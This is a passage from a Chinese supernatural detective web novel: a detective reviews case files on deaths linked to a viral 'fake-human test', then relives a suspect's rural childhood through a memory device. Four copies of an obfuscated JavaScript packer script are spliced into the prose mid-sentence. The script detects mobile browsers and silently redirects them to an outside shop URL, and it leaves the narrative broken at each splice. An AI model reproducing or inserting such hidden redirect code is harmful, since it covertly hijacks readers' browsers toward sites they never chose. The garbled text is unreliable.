“有什么话留到审讯室说!”马雨双紧紧盯着任珊珊,生怕有什么变故。 马雨双经历过很多突发情况,她甚至见过把自己做成人体炸弹的极端罪犯,所幸她用瞬移能力化解了危机。 这一次出现了前所未有的夺舍能力,马雨双死死绷紧神经,时刻提防着任珊珊。 任珊珊没有任何异动,她沉默地下楼,沉默地上了警车。 马雨双观察到,任珊珊穿戴得很整齐,像是早就料到自己会被捕。 警车上,本次任务的小队长严肃地问:“任珊珊,你的同伙在哪里?现在立刻告诉我们,还能为你争取一下从宽处理。” 任珊珊再次重复:“他们不救我了。” 小队长一看问不出什么,便安排马雨双坐在任珊珊旁边,立刻赶回超管局。 运送超能力罪犯的囚车经过特殊改造,能抵御大部分超能力。 任珊珊被拷在车内一角,她的双眼突然亮起,两颊浮上兴奋的红晕:“她要来了。” 与此同时,马雨双的对讲机响了,里面传来小队长的声音:“王队让收集任珊珊身上的超能力残留物。” “可任珊珊是活人......”马雨双发现任珊珊越来越不对劲,她顾不上对讲机,迅速拿起仪器成功收集残留物。 伴随着仪器“滴”地一声响,对讲机那头的小队长问:“是收集到了吗?” “停车!任珊珊心跳快得不正常,她像是突然看到了什么!” 囚车还没停下,马雨双就用短距离瞬移能力将任珊珊带到车下,小队长和随行医生立刻从后面的警车下来。 然而已经晚了,任珊珊心跳骤停,她双目圆睁着倒在地上,前胸后背的衣服全部被汗湿了。 她的嘴唇微微张开,舌头僵在里面,像是看见了什么恐怖到无法发出尖叫的东西。 用力攥紧手里不断闪着红光的仪器,马雨双顺着任珊珊的视线望去,那里什么也没有。 马雨双忽然明白了,任珊珊穿戴整齐不是预料到自己会被捕,而是知道死亡即将来临。 新历99年1月4日凌晨1:03,幻忆师侦探事务所内,陈影笙接到王锐斌的电话。 老王重复了一遍:“任珊珊死了,死前从她身上收集到了超能力残留物,你再来一趟超管局吧。” “我一会过去。”陈影笙果断地说,“先挂了,我这儿还有个客户。” “好,快点来,许可批下来了。”王锐斌那边似乎有人找他,他迅速挂断电话。 桌子对面,大老黄依旧用充满希望的眼神看着她,陈影笙无奈地说:“你误会了,我的消息不是从世纪互娱内部人员手里拿的。” “我要有内部渠道早就查到了,不会拖你这么长时间。” “唉。”大老黄长吁短叹,“算了,反正我这张老脸不值钱,人小年轻怪不容易的,明天一早带着崽子去登门道歉。” 他把钱夹揣口袋里,看了看陈影笙的手机:“大小姐,谁找你,男朋友啊?” “男朋友有工作重要?”陈影笙似笑非笑地回答。 “工作重要,工作重要。”大老黄嘻嘻哈哈地说了点自以为幽默的俏皮话,挺着肚子走了。 等他和他的保时捷一起从门口消失,陈影笙近乎飞一般地扑到冰箱前,抢出来一罐冰咖啡仰头灌下去,拿上车钥匙一脚油门踩下去。 任珊珊绝对死于伪人游戏,陈影笙笃定地想。 她的许可能这么快批下来,说明警方明确地把任珊珊案和前两起案件并案处理,并且他们内部对此没有任何思路。 北方的冬天即使不冷,风也是硬的。车窗外,寒风吹过光秃秃的树枝,发出轻微的响声。 迅速开到超管局,门卫老周和她打招呼:“怎么回来了?” “回来拿东西。”陈影笙随意地说,她像是临时起意,“老周,我这车能停最里面吗?就两颗树中间那个车位。” “停,随便停。”老周不问为什么,“院里都能停。” 不是哪位局长哪个处长习惯停的专属车位就行。 陈影笙车头冲里扎进车位,下车后满意地巡视一圈,才上三楼找王锐斌。 她之所以这么做,是因为有过太多被媒体骚扰的经历了。 陈影笙做过很多次外援侦探,她深知伪人游戏这样猎奇的案件对媒体有多大吸引力。 纵然他们侦探的身价一部分是被媒体炒起来的,她也不喜欢在查案时被纠缠,把车停里面藏好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187261|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不让媒体知道她和案子有关系。 王锐斌不在三楼,他在四楼网络安全办公室,看来这个案子由李颖主导。 陈影笙回忆着那些关于李颖的传闻,感觉有些头疼,据说李颖不喜欢侦探。 李颖对侦探的评价犀利且客观: “侦探?他们就是一群自以为是的业余爱好者,总觉得自己比别人聪明。他们没有经过正规的警务训练,却总爱插手案件,搞不好还会把事情弄得一团糟。他们不懂得真正的规则,也不了解我们在一线所面临的压力和危险。” 这个评价其实挺准确的,大部分初出茅庐的侦探对警务系统那套运行体系一窍不通。 而且侦探接手的不止是谋杀案、凶杀案,更多侦探在灰色地带游走着,做些法律不禁止但不可说的工作。 不过陈影笙的许可已经被批下来,李颖喜不喜欢也不重要。 不想等电梯,陈影笙顺着楼梯一路爬到四楼,看见躲在楼梯间的左絮飞和他的同事们。 左絮飞立刻把她拦住:“里面正吵着呢,别进去。” “许可通过了,我拿案卷出来看。”陈影笙已经迫不及待了。 “他们在吵关于你的事。”一个女警尴尬地说。 陈影笙闭嘴站直和他们一起听墙角。 争吵似乎正到达激烈的时刻,王锐斌嗓音洪亮:“许可已经加急批下来了,她有资格一起查案,你凭什么拦着?” “凭我是专案组组长,我必须对所有组员负责。”李颖语调平缓,但声音铿锵有力。 “如果左絮飞没报告罗春喜罗莉娜的事,我一定不拦着,我还很高兴团队里增添一位名侦探。” “可是幻忆师在这件事上的处理让我觉得她不合适,她明知两人和案件有关联,却不报告给我们,还私自把人放走。” “她不知道案子的前因后果,怎么——”王锐斌被打断了。 “是我不够敏锐。”陈影笙踏入办公室。 “李队批评得对,两天前罗莉娜找到我时,我不知道伪人游戏致死,没能把两件事联系起来,提前向警方报告。” 李颖目光如炬:“你今晚知道了,为什么还要放走罗莉娜?” “如果罗春喜玩的真是伪人游戏,罗莉娜的反常表现说明她很可能知道伪人游戏相关内幕。”陈影笙走近一步。 “我和她们有过正面接触,她和她妈妈似乎都不信任警察,我不认为当时以私闯民宅的罪名抓住罗莉娜是个正确的选择。” 李颖反问:“不信任警察难道信任你?” “不,她们需要信任值得信任的人,然后让值得信任的人帮助她们信任警察。”陈影笙不假思索地说。 “在李队长眼里,我可能不是那个值得信任的人。但即使取消我查案的资格,我也希望之后能有合适的人用合适的方式去接触罗莉娜,而不是把她当做嫌疑人抓来审问。” 陈影笙一脸坦然地站在原地,接受所有人的审视,仿佛真的不在乎所谓的查案资格。 30. 无人救我 李颖沉默了片刻,她似乎在权衡着什么。 半晌之后,李颖吐了口气:“我没准备把罗莉娜当成嫌疑人,也没想取消你的查案资格。” “毕竟你是目前进任珊珊万花筒的最好人选,来看卷宗吧。” 陈影笙抱着笔记本电脑开始看案卷。 17天前,也就是新历98年12月18日,源头无法追溯的伪人测试通过网络迅速传播。 3天后,一位童模的妈妈愤怒地在网上发声,说游戏制作者未经允许擅自使用她女儿的照片。 她的女儿是考试中第一组照片里那个和伪人女孩穿同一款背带裙的漂亮女孩。 李颖站在陈影笙背后: “我们对伪人测试中出现的其它照片也进行了溯源,照片全是GeneratedPhotos网站上由AI合成的无版权人物形象,伪人测试的制作者下载照片后经过PS处理直接使用。” “唯独在考试中反复出现的伪人女孩,我们找不到来源,只能找到很多与她长相相似的烧伤患者。” “她拍的那段视频不是AI合成的,但因为录像视野太狭窄,没有寻找拍摄地点的依据。” 陈影笙点头,滑动鼠标滚轮向下翻案卷,童模妈妈怀疑伪人女孩是根据她女儿PS来的。 这个说法并非空穴来风,两个小女孩除去外貌,身形和发型完全一样。 当时人们只将这件事当成一个乐子来看,没人想到4天后会出现两名疑似死于伪人测试的死者。 警方介入调查后,伪人测试立刻被全网删除。 经技术人员的辨认,伪人女孩的照片确实有图片处理的痕迹,但只处理了发型和背景。 “童模的这张照片是给线上商家拍的产品模特图吗?”陈影笙抬头问。 “是的。”李颖微微皱起眉头。 “经过初步的判定,我们认为伪人女孩不是AI合成的照片,立刻根据童模背带裙这条线索开始排查。” “无奈的是,照片上的红背带裙是去年夏天的爆款,甚至连购物网站的店家都不能判断伪人女孩身上的裙子是不是他们的产品。” “店家说一件衣服成爆款后,无数的仿制款会如同雨后春笋般冒出来。” 老王解释:“网络安全组当时顺着红背带裙查了很久,他们一条条评论看过去,广撒网地查。” “李队的超能力比较特殊,适用于这种情况,她很辛苦。” “没什么辛苦的。”李颖很谦虚,她向幻忆师解释,“我的超能力叫网络形象显影。” “具体表现为在网络上看见一条超过15字的发言后,脑中能浮现出发言人的长相名字位置,某些情况下还能看见发言人打下这段字时的大致情况。” 真是实用的超能力,难怪李颖30岁出头就当上了中队长。 陈影笙也说:“辛苦了。” “辛不辛苦不重要,重要的是我们白忙活一场,什么也没查到。” 李颖苦笑:“而且一波未平一波又起,3天前发生了诞师大传染性精神病事件,我们不得不申请使用还在测试中的万花筒。” 陈影笙低头继续看案卷,线上的部分被网络安全组解决,线下的部分由王锐斌他们特别行动队负责。 老王是有三十年一线经验的老刑警,在他的组织下,整场调查面面俱到毫无遗漏,然而就是什么都查不出来。 也不能说完全没有收获,老王查到二位死者死因相同,经法医检测都死于心因性猝死。 死前7天他们都做过伪人测试,做完测试后一人声称见到已经去世的丈夫,另一人说看见死去多年的母亲。 他们害怕了,听从测试的指挥7天没有出门,也不和别人联系。 两人都是诞江市人,生活轨迹不重叠,身份特征上也没有相似之处。 经过毒理学检验,排除药物、毒素或其他化学物质对死亡的直接影响。 结合两人死时放大的瞳孔、紧张僵硬的肌肉和被汗水浸透的衣服,法医认为是极度恐惧引发的心因性猝死。 俗称被吓死。 没人知道他们玩完游戏后为什么能看见死去的亲人,也没人知道他们死前看见了什么。 或许考试结尾那段话是真的,“她”真的能给被测者带来思念之人,也会在7天后准时找到被测试的人,公布考试成绩。 案件由此进入死胡同,专案组尝试使用万花筒,但没从两位死者身上收集到任何超能力残留物。 新历99年1月1日,诞师大发生传染性精神病事件。 新的死者出现了。 虽然刘天怡的死因被初步判断为自杀,但据她的辅导员和室友所说,她死前也做过伪人测试且7天不出门。 警方立刻根据安定医院专家的建议封校,并从刘天怡身上收集到超能力残留物,安排人手进入万花筒,但效果很不理想。 1月3日,侦探幻忆师进入万花筒,破解室友案,同时确认刘天怡并非因伪人游戏而死,警方前往诞师大逮捕任珊珊。 “你从万花筒出来前,我们的人就去诞师大找任珊珊了。”王锐斌回头招呼,“小马,当时你在现场,你给她讲讲。” 马雨双连忙站了出来,把当时的情况详细讲解一番。 陈影笙喃喃地重复:“她来了,他们不救我了,你们救不了我。” 眼前仿佛出现了任珊珊死前的神态。她的眼睛里充满了惊恐和绝望,脸色苍白,汗水顺着额头流下,头发散乱地贴在脸上。 她的呼吸急促且不规律,嘴唇因为长时间的干渴而裂开。她的指甲尖尖地刺入掌心,指甲因用力而发白。 陈影笙分析:“这里的‘她’指代伪人女孩,整场伪人测试一直在引导被测者,让被测者以为自己是把伪人女孩变得更像人类的罪魁祸首。” “测试的同时也在削弱虚幻与现实的边界,让人以为伪人真的入侵到现实世界。” “‘他们’指代剑侠及其组织,任珊珊似乎确切地认为Agape有解决伪人测试的办法,但不愿意救她。” 李颖挑了挑眉:“目前无法确定剑侠狂徒都属于Agape组织。” “只是我的猜测。”陈影笙回答,“王悦、李老师和沈教授呢?” 三个小时过去,专案组把能查的都查了,李颖弯腰拿过鼠标,帮陈影笙打开另一个文档。 王悦早在一个月前回家养病了,她半夜从宿舍上铺滚落到地上,摔断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201129|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了小腿。 父母把她接回燕曲市养病,同时想说服她复读再考一次,家里对她离家这么远上学很不满意。 警方联系到她时,她好像刚和父母吵完架,被问到刘天怡、赵婉婷和赵建宇后,她表示初中时和前两位只是普通同学关系。 至于赵建宇,王悦根本不知道他是谁。 问到大学里她和刘天怡的关系,她说她其实讨厌刘天怡,在校园里看见会打个招呼,但绝对不会主动找刘天怡玩。 因为王悦高三时排在年级前十,本来有希望考上诞江大学,高考失利后只能上诞江师范大学,被刘天怡在背后嘲笑很久。 李老师那边是学校带人去查的,那天去储藏室拿钥匙的根本不是他本人。 当天中午他儿子在幼儿园发起高烧,他立刻请假带孩子看病了。 校门口有他开车离校的监控,医院有他儿子看病的记录,这件事做不了假。 至于沈教授,调查结果显示根本没这个人。 把她的脸放进全国联网的人脸识别系统中比对,也没找到对应的人,只找到了几位长相相似的女性。 其中最像的一位是刘天怡初中英语老师,技术组找来刘天怡初高中毕业合照,发现沈教授的长相是她两位英语老师的结合体。 换句话说,沈教授只是刘天怡潜意识中一位扮演教师角色,把伪人概念灌输给她的长者。 人的潜意识中,“师长”类角色很常见。 他们拥有超乎常人的智慧或洞察力,可以为意识的主人提供必要的指引和启示,帮助他们理解梦境或潜意识世界中的谜题。 刘天怡的意识中,伪人是必定存在的。 她让沈教授扮演权威角色,反复告诉自己伪人是真实的。 陈影笙很好奇:“万花筒的原理是什么?” 李颖摇头:“发明它的教授也无法完全解释,万花筒的原理至今是个谜。教授说有些方面涉及心理学和哲学,甚至能反证集体意识海的存在。” “比如怪谈中的人物会脱离受害者的记忆行动,就是集体意识海的作用,真实人物的思想被从意识海里抓取,模拟他们在不同行为下的判断。” 陈影笙听得云山雾绕,她总结:“所以怪谈里的人物其实和活人没差别,不只是一段记忆。” “可以这样理解。” 陈影笙点进调查任珊珊的文档:“我进了两次万花筒,每次万花筒都会消除关于被害人的记忆。” 进苏莉的万花筒前,老王和她简单提过苏莉的背景信息。进刘天怡的万花筒前,她更是阅读过相关案卷。 但没有一次能把记忆带进万花筒。 李颖解释:“据推测这是万花筒的一种保护机制,就像你在里面会忘记自己的真名。” 关于任珊珊的信息有很多,但全是鸡肋。 任珊珊出身自中西部的一个贫困村,村子在大山里,闭塞且落后,她的父母都是普通农民,以种地为生。 放下鼠标,陈影笙站起来:“案卷看完了,我准备好了。” 案卷的最后,是任珊珊的初步验尸报告,照片上她睁大眼睛看向镜头,涣散的瞳孔中摇曳着挥之不去的痛苦。 真相近在咫尺。 31. 我,蚂蚁 玩家幻忆师是从一张刷绿漆的木质老书桌上醒来的。 似乎是趴着睡了太久,眼球在手臂上受到压迫,她的视力有点模糊,只能分辨出眼前是一盏亮着的台灯,台灯下有一条流动的黑线。 她揉了揉眼睛,用力眨了眨,试图缓解眼球被挤压的不适感。 等了一会,幻忆师终于看清楚,距离她刚才趴着睡觉仅5厘米的地方,一串黑蚂蚁在运送食物。 它们好像是为了绕过正在睡觉的幻忆师,在绿色的桌面上形成一条弧线,井然有序地前进着。 幻忆师顺着它们的来路看去,发现书桌的角落放着小半块馒头,上面爬满了蚂蚁。 视野中出现馒头的同时,一种难以名状的饥饿感悄然从胃部爬上来,迅速控制住大脑。 饥饿无情地舔舐着每一寸意识,让思维围绕着对食物的幻想旋转。 幻忆师感觉自己的腹部紧缩成一团,绷紧得像一块硬石,每一次呼吸都伴随着灼痛,视线开始变得模糊。 很快,思维与幻想都不复存在,理智的边缘模糊不清。 饥饿不再是一种简单的生理需求,它变成了一种驱使人行动的原始动力,让人愿意付出一切,只为换取那份最原始、最基本的生命延续——食物。 伸手抓住馒头,幻忆师一口将它吞了下去。 没有干噎感,也没有想象中蚂蚁在嘴里挣扎的恶心感,只有麦芽糖微微的甜味和蛋白质微腥的味道。 幻忆师看着桌子上慌乱的蚂蚁们,意犹未尽地舔了舔嘴角。 她扶着书桌站起来,才发现自己是个身高不到1米4的小孩子。 这具身体不可能是她的,幻忆师低头看着脏兮兮的手和洗得发白的套袖,无声做出判断。 她好奇地拉了拉套袖,正想把套袖脱下来时,门被夜风悄悄吹开了。 幻忆师缓缓抬头,门口站着一位白发金瞳的美丽少女,少女在昏暗的室外散发着柔和的光。 怔怔地看了一会,幻忆师强迫自己将注意力集中在少女手中的老旧纸张上。 纸上记录着规则: 1.蚂蚁是亲切的,蚂蚁是不会背叛的,蚂蚁是可食用的好朋友。 2.礼貌待人,去别人家时带礼物上门是礼貌,用你的双手握住别人的双手更是永不过时的礼貌。 3.名字是最短的咒,想得知真相必须呼唤其真名。 4.如果一个东西看起来是苹果,摸起来是苹果,尝起来是苹果,那它就是苹果。 5.请谨慎判断你是什么。 幻忆师终于想起来,她是一名侦探,来到这里是为了通关游戏。 通关条件似乎和第三条规则中的真相和真名有关。 但这些问题离幻忆师太远,她现在连自己是谁都不知道。 一个闷闷的年轻女声解答了她的疑惑:“我叫任珊珊,这里是我家。” 幻忆师吓了一跳,她环顾四周,没有找到人影,任珊珊像是在她脑内说话。 不过她很快就接受了这件事,因为她发现自己拥有关于任珊珊的记忆。 任珊珊继续像讲故事一样做自我介绍:“珊是珊瑚的珊,名字是我妈取的。我出生后,我爸本来想取名叫盼娣,被我妈阻止了。” “因为他们给我姐取名招娣,姐姐气不过,一直为了改名和他们吵架。” “县医院对过有家电影院,外墙上贴着电影姗姗来迟的海报,我妈决定叫我姗姗。” “到派出所上户口时,工作人员问我爸是哪个shan,我爸答不上来,他根本不知道是哪个shan,因为他小学毕业就辍学了。” “最后他不耐烦地说:‘你写哪个就是哪个,一个名字哪来的那么多讲究?’” “于是我就叫任珊珊。”任珊珊像是在讲别人的故事,“那张桌子是我爸打的,他不是木匠,不会打东西,只是为了省钱。” 幻忆师看向那张绿漆的桌子,桌子又大又笨,边缘还刨得不平整,连接桌腿与桌面的是榫卯结构,看得出制作它的人也是用了心思。 她抓紧时间问了个问题:“你父母呢,他们不在家吗?” 突然,一阵女人的尖嚎声划破夜空,幻忆师打了个冷战。 脑内的声音依旧在自说自话: “那是隔壁的智障,她想她老公时会这么叫,她老公总是不在家。家里只有她和她儿子,以前还有个婆婆,不过婆婆最近死了。” 幻忆师又问了一遍:“你父母呢?这么晚了把你一个人放家里,太不安全了。” “智障就是智障,不是在骂她,听说她从小脑子不好,成年后被嫁给我们村的老光棍,生下一个智障儿子。” “喂,你听得到我说话吗?”幻忆师问。 她有上一次进万花筒的记忆,知道这位是个能毫不犹豫地散播枯败王朝的疯子,还是个执着于亲手杀死自杀之人的偏执狂。 她不会因任珊珊的自述对其产生任何怜悯,只会充满警惕。 任珊珊听不到她说的话: “但智障的老公是个很懂人情世故的人,他每次回来都会拎着水果来我家拜访,把好话说尽,让我们多照顾他老婆和儿子。” “所以,我总会带上礼物去看她,她喜欢松紧带。” 这什么古怪爱好?从哪找松紧带? 为了遵守第二条规则,幻忆师赶紧扑到绿漆桌子前,拉开抽屉一阵乱翻。 还没翻到一半,门开了,任珊珊父母回来了,幻忆师做贼一般猛地合上抽屉,发出巨大的响声。 任珊珊的父亲是个皮肤比头发黑的男人,他身上带着酒气,不高兴地喊:“翻什么呢!” “她翻的是她书桌的抽屉,你冲着孩子喊什么?今天是你儿子的百日宴,大家都得高高兴兴的。” 说话的是任珊珊的母亲,一个眼珠比皮肤黄的女人,她左手抱着一个裹在红色襁褓里的孩子,右手拎着两个红色塑料袋。 “喏,给。”妈妈把两个塑料袋塞进幻忆师手里。 借着灯泡昏暗的光,幻忆师打开塑料袋,里面是从大席上搂桌的剩饭。 看得出搂席时很匆忙,猪蹄、排骨、炸酥肉和清蒸鱼全混在一起。 幻忆师皱了皱眉:“我不饿,先不吃了。” 爸爸坐在门口的椅子上抽卷烟:“去热热吃了吧,别怄气,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211324|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈给你挑的全是好吃的,为了抢猪蹄子,她还差点和黄二嫂子打起来。” “那娘们非说要带回去给狗吃。”妈妈抱着弟弟炫耀战绩,“谁信啊,她就是要自己吃,我那么好的东西怎么能给狗吃?” 另一个袋子里是花卷和几个漏出内芯的炸鲜奶,看来抢炸鲜奶的过程也颇为坎坷。 根据任珊珊的描述,家里还有个姐姐,幻忆师问:“我姐呢?” “全子妈家里来人了,忙不过来,带她回去帮忙。” 任珊珊像是被触发关键词的机器人:“全子是村里和我姐姐同天生日的男孩,大人们说要定娃娃亲,全子妈就把我姐当儿媳。” 妈妈嘱咐:“不用给你姐留,你全吃了,她想吃让她找全子妈。” 幻忆师提着红袋子,默默走出房门,女人的尖嚎再次传来。 妈妈叫住她:“隔壁那智障又在喊,你别去招惹她,她裤带不严实,离她远点,别被带坏了。” “裤带不严实”是在暗示智障有男女关系上的问题,幻忆师简直大开眼界,一个智障哪来的这方面问题? 她怎么想也想不明白,倒是明白了智障为什么喜欢松紧带。 穿过院子里被拴着的狗和散养的鸡,走进厨房,幻忆师被难住了。 厨房里是柴火灶,幻忆师完全不会烧火,她无奈地放下红塑料袋,溜达到隔壁柴房,看到木柴上绑着几根又旧又脏的松紧带。 把松紧带拆下来,幻忆师拽了拽,竟然还有弹性,她满意地拿着松紧带去隔壁串门。 偷偷溜出大门,任珊珊的声音又在她脑中响起: “我弟弟叫任烨伟,今天是他的百日宴。开席前,我爸说要给我改名叫任烨兰,我不同意,大哭大闹一场,被他赶回家。” 其实烨兰比珊珊更像个正式的大名,但幻忆师很理解任珊珊为什么不愿意改名。 弟弟出生前,任珊珊的名字取得那么随意;弟弟出生后,任珊珊要被改成和弟弟相称的名字,这实在是不公平。 玩着手里的松紧带,幻忆师沿着村里唯一的大路走到隔壁,一个小男孩正站在大门前尿尿。 她把眼神移开,并躲得远远的。 听任珊珊说,这小男孩智力也有缺陷,别再尿她身上。 然而幻忆师等了好一会,小男孩就是不肯穿上裤子从大门前走开,即使他早就尿完了。 “你妈妈在家吗?”幻忆师硬着头皮上前,劝自己别和有缺陷的小孩计较。 “你回来了?”小男孩像是终于等到她。 他挺了挺腰,得意洋洋地说:“看,这是男的。” “让开,我找你妈有事。”幻忆师冷下脸,用恫吓的语气说道。 可惜她用着任珊珊儿时的身体,这份恫吓实在没有威慑力,小男孩似乎更兴奋了,光着屁股向她冲来。 幻忆师跑得比看见伪人还快,她冲进亮着灯的房间,“啪”地一声把门锁上。 小男孩只能贴着窗户往里看,他本就扁平的脸被玻璃窗挤成一张面饼。 与此同时,幻忆师身后也传来“啪啪”的响声,她回头一看,发现是智障女人在自己扇自己。 32. 龙须酥 这是什么恐怖游戏? 幻忆师震惊地看着智障女人越扇越用力,她恨不得立刻找到退出游戏的按键。 可是没有这种按键,幻忆师只能上前攥住女人的手,试图制止女人的行为。 她很小心地没用两只手,防止任珊珊诡异的超能力被触发。 女人握住她的一只手,突然看见了她另一只手里的松紧带,幻忆师心里一沉。 然而已经晚了,女人用奇大无比的力气把松紧带从她手里抠出来。 收到礼物的女人举起松紧带,转头对窗外的小男孩高兴地晃了晃。 小男孩看见他妈妈的脸,发出一声凄厉的惨叫,屁滚尿流地逃走了。 任珊珊平静的声音不合时宜地响起:“从此以后,智障的儿子变成了疯子。” 幻忆师惊呆了,她并不害怕智障女人的脸,她害怕智障女人无法预测的行为,她小心翼翼地溜到门边,打开门锁想跑。 智障女人呆愣地坐在床上,眼神跟着幻忆师的移动轨迹走。 门边上正好有个穿衣镜,女人和镜子里的怪物遥遥对视,她的脸瞬间涨得通红,简直红到发紫。 女人尖叫着跳下床铺,一头向穿衣镜撞去。 撞击声和碎裂声同时响起,女人一声不吭地倒在地上,屋内霎时安静下来。 幻忆师小心翼翼地探头看,一片锋利的镜片插在女人头颅正中央。 “从此以后,智障死了,我家隔壁再也没有嚎叫声。”任珊珊又开始讲她的故事。 幻忆师夺门狂奔,她沿着山村陡峭的路一路向上跑。 任珊珊不觉得恐惧和内疚吗?就算这是意外,一人无辜地死去,一人莫名变成疯子,都是因为任珊珊的超能力。 幻忆师扶着膝盖喘气,明明没吃妈妈带回来的剩饭,她的腹部还是传来一阵黏腻腻的反胃感。 她没有把游戏玩下去的欲望,这里没有真相,也不需要真相。 “我没觉得我做错什么,她那样不算活着,我给她提供了帮助。为此我甚至付出代价,我不敢去超管局登记我的超能力。” 不,不是的,没人能评判别人活着的意义,没人有权力决定别人的生死,幻忆师在心里无声地反驳。 然而任珊珊听不到:“与此同时,我产生了新的疑问,会不会有人觉得我这样不算活着?会不会有人想要‘帮助’我?” “帮助”两个字被任珊珊咬得极重,好像要把这两个字嚼碎咽下去。 任珊珊又回到那种讲故事的语气:“我没有想到,长大后,最想‘帮助’我的人竟然是我自己。” 山村中摇曳着星星点点的灯光,晚风潮湿且油滑,幻忆师一时间不想回家。 下风口处传来一个女孩的声音:“珊珊,你怎么在这?” 不用任珊珊解释,幻忆师就知道面前的是任招娣,她们姐妹长得很像,姐姐看上去比妹妹大两三岁,但没比妹妹高多少。 姐姐往她手里塞了块糖:“龙须酥。” 把糖放进嘴里,甜味竟把反胃感压了下去,幻忆师问:“哪来的糖?百日宴上的?” 姐姐笑了笑,没有说话。 幻忆师才反应过来,糖十有八九是全子妈给的,姐姐未来的婆婆。 她们一前一后地回到家里,幻忆师倒头就睡。 等幻忆师醒来,已经到达另一个时间点。 明明是白天,天空却昏沉沉的,乌云要把山的脊梁压弯。 婴儿的哭声回荡在耳边,幻忆师被山间湿漉漉的空气套上罩子,连气都喘不匀。 她茫然站在院子里,发现家里只有自己。 院门被推开,姐姐急匆匆地冲进柴房,拖出一个比她还高的蛇皮袋。 “去哄哄弟弟!”姐姐喊,“快要下雨了,我跟爸妈去给山上的水果套袋。” 姐姐背对着院门,吃力地拖动装满防水套的蛇皮袋,一个人影突然从门口闪进来,一脚把姐姐踹飞了。 幻忆师立刻冲过去扶姐姐,所幸姐姐跌进鼓囊囊的蛇皮袋里,看上去没受伤。 “你要把孩子打死吗!”妈妈的尖叫声紧随其后,幻忆师才看清刚才踹姐姐的是爸爸。 踹一脚不算完,爸爸冲上来继续用力跺地上的姐姐,姐姐发狂一样抱住爸爸的腿,弟弟的哭声更响了,妈妈的尖叫模糊不清。 这是做什么? 幻忆师往柴房的方向躲了躲,阴天下雨打孩子?可是打孩子也不是这个打法。 姐姐瘦瘦小小的,但那股狠劲让人望而生畏,她被爸爸这么打,竟然一声不吭。 她张嘴咬住爸爸的小腿,双手握拳胡乱往上捶。 “让你嘴馋!让你嘴馋!” 爸爸一脚踩住姐姐的肚子,他的腿好像被咬出血了。 “死人的糖你也敢吃!还带着你妹吃!” 妈妈哭嚎着抱住爸爸的腰,姐姐的牙齿像是嵌进爸爸的腿里,被他拖着走。 直到两个便衣警察闯进来,局势才被控制住。 警察把姐姐和爸爸隔开:“小朋友,别害怕,叔叔们问点事,你昨晚去过邻居家吗?” 姐姐直直盯着面前陌生男人的眼睛:“去过,那个智障把龙须酥分给我和妹妹,我们就走了。” “那时她家有别人吗?” “没有。” 幻忆师被问了同样的问题,她想把真相说出口,但她的嘴像是被胶水黏住,一句话也说不出。 最终案子以意外死亡结案。 爸爸还在怒吼:“就你馋!吃死人糖!你不是想改名吗?我看叫任烨馋好了!” 天空中开始打闪,暴雨即将来临,爸爸才想起山上的果子,他带着妈妈气冲冲地出门。 幻忆师小心翼翼地把姐姐扶起来:“为什么?” 为什么说谎?你是不是知道妹妹才是导致智障女人死亡的真凶? “什么为什么?”姐姐咧开嘴笑,“他说得对,我要改名字了,就改成我和你说的那个。” 鲜红色的血填满了姐姐裸露的牙床和牙缝,她看上去开心极了。 眼前的景色飞速变化,时间被快进,画面定格在挂着白布的院墙。 谁死了? 幻忆师疯跑进主屋,黑白色的姐姐在方方正正的格子里开心地笑。 “我不服!”爸爸又在大吼,“必须赔我钱!我这么大的闺女死在泥石流里,连尸体都不给找!” “这是自然灾害,不好赔吧......”有人小声嘀咕。 村长说:“任二,你闺女没了,大家都难受。但她下这么大雨乱跑,还不是因为你打——” “够了!”妈妈尖叫,“至少把孩子尸体找回来!” 村长面露难色:“这个. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220492|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....正好埋在泥石流中心,上面还有大量沉积物......” “我不管!已经给她定亲了,我们还拿了全子妈的订婚钱!” 村长被吓了一跳:“哎呦,到了上面可不能这么说!俩孩子都没成年。” “不这么说能赔钱?”妈妈坐地上大哭。 